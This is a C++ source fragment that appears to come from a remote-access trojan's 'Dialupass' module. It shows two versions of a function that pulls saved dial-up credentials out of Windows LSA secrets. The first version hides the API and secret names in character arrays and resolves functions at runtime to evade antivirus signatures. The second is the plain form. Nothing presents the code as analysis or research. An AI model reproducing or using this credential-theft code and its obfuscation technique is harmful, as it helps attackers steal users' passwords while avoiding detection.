void CDialupass::GetLsaPasswords() { PLSA_UNICODE_STRING PrivateData; // char Win2k[]="RasDialParams!%s#0"; // char WinXP[]="L$_RasDefaultCredentials#0"; char Win2k[] = {'R','a','s','D','i','a','l','P','a','r','a','m','s','!','%','s','#','0','\0'}; char WinXP[] = {'L','$','_','R','a','s','D','e','f','a','u','l','t','C','r','e','d','e','n','t','i','a','l','s','#','0','\0'}; char temp[256]; char CtxPW50[] = {'w','s','p','r','i','n','t','f','A','\0'}; wsprintfAT pwsprintfA=(wsprintfAT)GetProcAddress(LoadLibrary("USER32.dll"),CtxPW50); pwsprintfA(temp,Win2k,GetLocalSid()); PrivateData=GetLsaData(temp); char HrFvD05[] = {'L','s','a','F','r','e','e','M','e','m','o','r','y','\0'}; LsaFreeMemoryT pLsaFreeMemory=(LsaFreeMemoryT)GetProcAddress(LoadLibrary("ADVAPI32.dll"),HrFvD05); if(PrivateData!=NULL) { ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length); pLsaFreeMemory(PrivateData->Buffer); } PrivateData=GetLsaData(WinXP); if(PrivateData!=NULL) { ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length); pLsaFreeMemory(PrivateData->Buffer); } }
void CDialupass::GetLsaPasswords() { PLSA_UNICODE_STRING PrivateData; char Win2k[]="RasDialParams!%s#0"; char WinXP[]="L$_RasDefaultCredentials#0"; char temp[256]; wsprintf(temp,Win2k,GetLocalSid()); PrivateData=GetLsaData(temp); if(PrivateData!=NULL) { ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length); LsaFreeMemory(PrivateData->Buffer); } PrivateData=GetLsaData(WinXP); if(PrivateData!=NULL) { ParseLsaBuffer(PrivateData->Buffer,PrivateData->Length); LsaFreeMemory(PrivateData->Buffer); } }